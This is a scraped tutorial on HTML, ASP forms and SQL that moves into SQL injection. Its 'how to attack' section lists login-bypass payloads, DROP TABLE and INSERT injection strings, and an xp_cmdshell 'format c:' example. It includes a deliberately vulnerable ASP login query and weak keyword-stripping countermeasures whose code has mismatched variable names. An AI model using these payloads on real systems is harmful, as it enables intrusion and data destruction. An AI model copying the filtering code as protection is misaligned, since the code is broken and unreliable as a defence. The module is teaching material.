Securing Web Applications from SQL Injection Attacks

Document Sample
Securing Web Applications from SQL Injection Attacks Powered By Docstoc
					Securing Web Applications from SQL
         Injection Attacks

                  Joseph Daniel O. Guerrero
In this module, you will learn how to secure web applications from SQL Injection Attacks.
But first you must also know the basic concepts on web development, HTML, Forms,
Database, the difference between the static and the dynamic web pages; the Client
server model; and the acquisition of user inputs for processing data using asp page.

What is Website

A set of interconnected web pages, usually including a homepage, generally located on
the same server, and prepared and maintained as a collection of information by a
person, group, or organization.


HTML stands for H yper T ext M arkup L anguage. HTML is a programming language
that Internet Browsers (i.e. Microsoft Internet Explorer) know how to interpret. HTML files
are simply text files that are given a file extension like .html, .htm, or .php (there are
many other extensions that browsers can interpret), but the main ones for web pages
are .htm and .html. If you create a text document in a text editor (like NotePad.exe....
free with Microsoft Windows), and call it anything.html, then an Internet Browser will be
able to open it, and you'll see a web page.


<title>Title of page</title>
<body> This is my first homepage. <b>This text is bold</b>

<html> This tag tells your browser that this is the start of an HTML document
</html> This tag tells your browser that this is the end of the HTML document.

The text between the <head> tag and the </head> tag is header information. Header information is not
displayed in the browser window.

The text between the <title> tags is the title of your document. The title is displayed in your browser's

The text between the <body> tags is the text that will be displayed in your browser.

The text between the <b> and </b> tags will be displayed in a bold font.
HTML Basic Tags

     <b></b>       Bold
      <i></i>      Italic
    <h1> </hi>     Defines header 1 to header 6
       <p>         Defines a paragraph
       <br>        Inserts a single line break
       <hr>        Defines a horizontal rule
       <!-->       Defines a comment

Static Vs. Dynamic Web Pages

The majority of the web pages on the internet today are static HTML pages. HTML
pages are simple text files that are displayed by your browser upon request. Static
pages are easily read by search engine spiders.

Dynamic web pages are more complex and usually this web pages are connected to a
database to give the website visitors easier access to the information that they need.
Setting cookies, creating member login areas, pulling product data from a database that
is easily updated, maintaining a web site visitors session data to remember products that
they have selected...

Visitors find dynamically generated web pages to be useful because they are provided
instant access to highly relevant information. Dynamic sites are also much easier to
update and maintain. Adding new products and editing products in your online
searchable catalog is as easy as filling out a form. This saves countless hours (and
dollars) to update multiple static pages. Dynamic web pages are created using
technologies like CGI, ASP, Cold Fusion, JSP, PHP etc.

Active Server Pages (ASP)

ASP is Microsoft's server-side technology for dynamically-generated web pages that is
available as an add-on to Internet Information Services (IIS).

Active Server Pages enables server-side scripting for IIS with native support for both
VBScript and Jscript. ASP uses input controls to receive information from the users and
pass the information to the server using forms. This process is prone to SQL injection
attacks if improper coding is implemented (receiving information will be discuss later in this module)
Client Server model

In a Client server model, two computers work together to perform a task, the server and
the client computer. The client computer requests information from the server. The
server returns the requested information to the client computer.

On the internet the server known as the web server contains all the web pages for a
particular website. The client computers the (computer we use at home or the computers
in the internet cafe).

On a static website the ff. steps occur
   1. The on the client computer the user inputs the url of a site on the web browser
   2. The client computer locates the web server of a particular url
   3. The web server returns the content of the particular url in form of HTML
   4. The client receive the HTML sent by the server

On a dynamic website the ff. steps occur
   1. The on the client computer the user inputs the url of a site on the web browser
   2. The server reads the asp specified in the url (index.asp) and processes the code
       Connect to the database if needed
   3. The server returns the processed code to the client in the form of HTML.
   4. The client receive the HTML sent by the server
Other Example. User Authentication in ASP

   1. The on the client computer the user inputs the url of a site on the web browser
   2. The user inputs the information needed. Ex username and password
   3. When the user clicks the submit button, the client computer will send the
      information to the server using forms or by query string depends on the method
      you use.
   4. The server reads the asp specified in the url (index.asp) and processes the code
      Connect to the database if needed
   5. The server returns the processed code to the client in the form of HTML.
   6. The client receive the HTML sent by the server

Receiving Information from the Users Input

If you want your dynamic page such as an asp page to make a decision based on the
input of the user, we need to use forms
Ex. User Authentication


Forms are used to collect information from the user (such as username and password)
and send that information to a separate page for processing. Through the use of form,
an asp page can acquire the user’s input, connect to the database and make a decision
based on the input.

Here are some samples of input controls
    Text box
    List box
         Check box
         Radio buttons

When the user clicks on the "Submit" button, the content of the form is sent to another file. The form's action
attribute defines the name of the file to send the content to. The file defined in the action attribute usually
does something with the received input.


<form name="input" action="log.asp" method="post"> Username: <input type="text"
name="username">password<input type="text" name="password"> <input type="submit" value="Submit">




When you click the "Submit" button, you will send your input to a page called "log.asp". That page will show
you the received input.

Querys String

Another way of passing information from the client computer to the server is with the use
of Query string. URL's of dynamically generated pages often contain question marks (?),
percentage signs (%) and other symbols (&, + and $) or text (cgi-bin) making up the
"query string".

What Is Database

A collection of information organized in such a way that a computer program can quickly
select desired pieces of data. You can think of a database as an electronic filing system.
Traditional databases are organized by fields, records, and files. A field is a single piece
of information; a record is one complete set of fields; and a file is a collection of records.
For example, a telephone book is analogous to a file. It contains a list of records, each of
which consists of three fields: name, address, and telephone number.
SQL Statements

Creating Database
CREATE DATABASE <database name>;

Creating Table Structures
CREATE TABLE <table name>(
<attribute1 name and attribute1 characteristics,
attribute2 name and attribute2 characteristics,
attribute3 name and attribute3 characteristics,
primary key designation,
foreign key designation and foreign key requirements>);

Inserting Values
INSERT INTO <table name> VALUES (attribute 1 value, attribute 2 value, … etc.);

Listing the Table Contents
SELECT * FROM <table name>;
Partial Listing of Table Contents
SELECT <field(s)>
FROM <table name>
WHERE <conditions>;

Updating Records
UPDATE <table name>
SET <field name>= ‘<field value>'
WHERE <conditions>;

Deleting Records
DELETE FROM <table name>
WHERE <conditions>;

Deleting a table
DROP TABLE <table name>;

Special Operators
BETWEEN - used to define range limits.
IS NULL - used to check whether an attribute value is null
LIKE - used to check for similar character strings.
IN - used to check whether an attribute value matches a value contained within a
(sub)set of listed values.
EXISTS - used to check whether an attribute has a value. In effect, EXISTS is the
opposite of IS NULL.


Is null




SQL Injection Attacks is a particularly wide spread and eventually very dangerous.
The attacker can embed malicious SQL commands by means of input controls and trick
the application by forwarding malicious query to the database.

Here Are some steps on how to attack a website using SQL injection attacks

A. Identifying Target

Check for vulnerability?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: test' or 1=1--
- Pass: test' or 1=1--
-' or 1=1--

B. Start penetrating Using sql parameters

Access Through input controls

    1. Access Through Login page

        EX. SQL Queries could be modified by adding additional ‘constraints’ to a where
        ‘ or 'A'='A

        you may try some other possibilities:

        ' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


         username = request.form("username")
         password = request.form("password")

         set rs = server.CreateObject("adodb.recordset")
         sql = "SELECT * FROM account where username = '"& username&"'
         and password = '"& password &"'"
        sql, objConnattack

                if rs.eof then
                end if


         The Original Query
         SELECT * FROM account where username = '"& username&"' and
         password = '"& password &"'"

         The resultant query would now look like:
               select count(*) from account where userName=’joseph’ and
               userPass=’’ or
               ‘A’= ‘A‘

               The query now checks for an empty password, or the conditional equation
               of ‘A’=’A’, then a valid row has been found in the account table. The first ‘
               quote is used to terminate the string and ’-- ‘ is used to comments the
               remaining portion of the query.

   2. Dropping Table
      Select * form account where email = ‘X’;DROP TABLE account;--‘; --Boom!

   3. Inserting a record
      Select * from account where email = ‘ x’: INSERT INTO account(‘username’,
      ‘password’) VALUES (‘joseph’,’josephpassword’);--

Access Through url

       Access through url happens when the forms method was set to GET method
<form name="form" method="GET" action="index.asp"></form>

   1. Dropping Table
      Replase this url with‘X’;DROP TABLE
      account;--‘; --Boom!

   2. Inserting a Record
      Replase this url with ‘ x’: INSERT INTO
      account(‘username’, ‘password’) VALUES (‘joseph’,’josephpassword’);--

Countermeasures to protect against SQL Injection
As SQL injection occurs due to poor coding and poor website administration the
following steps can be taken to avoid SQL injection.

Validate all inputs

Filter the ff
- Input from users
- Parameters from URL
- Values from cookie

1. Replace all single quotes to two single quotes:
function repQuotes(strWords)
repQuotes = replace(strWords, "'", "''")
end function

2. Remove Culprit Characters :

Removing Culprit Characters such as select, drop, insert, update, delete, etc, removes
the chance of any SQL injection attack.
For example :
\select Person_name from employee where emp_id= 601; xp_cmdshell
'format c: /q /yes '; drop database myDB; --

function repQuotes(strWords)
repQuotes = replace(strWords, "'", "''")
end function
function rem_culp_char(strWords)
dim badChars
dim newChars
badStuff = array("select",”union”,"drop", ";", "--", "insert",
"delete", "xp_",”*”)
newChars = strWords
for i = 0 to uBound(badChars)
newChars = replace(newChars, badsStuff(i), "")
rem_culp_char = newChars
end function

and run the query through repQuotes and then rem_culp_char, the query would end up
looking like this:

Person_name from employee where emp_id=1 cmdshell ''format c:
/q /yes '' database myDB
The above query is useless i.e. it will not run.

3. Keep all text boxes and form fields as short as possible.
      <input name="textfield" type="text" size="25" maxlength="25">

4. If accepting a numeric input, always use the function IsNumeric() for asp to
check if the value is actually numeric

5. Always use POST method in submitting forms.
       <form name="form" method="post" action="index.asp"></form>

6. Configure your SQL server properly
      Donot use the defaulty system account (sa) for sql server 2000
      Use Stored Procedures and builtin function
      Isolate database server and web server. Both should reside on different
      Remove un used stored procedures and un used builtin functions


SQL Injection Walkthrough -

CERT-In Indian Computer Emergency Response Team Enhancing Cyber Security in
India SQL Injection Techniques & Countermeasures By Pankaj Sharma

SPI LAbs SQL Injection Are Your Web Applications Vulnerable?

SQL Injection Attacks by Example by Steve Friedl -

Full Web Building Tutorials -

Shared By: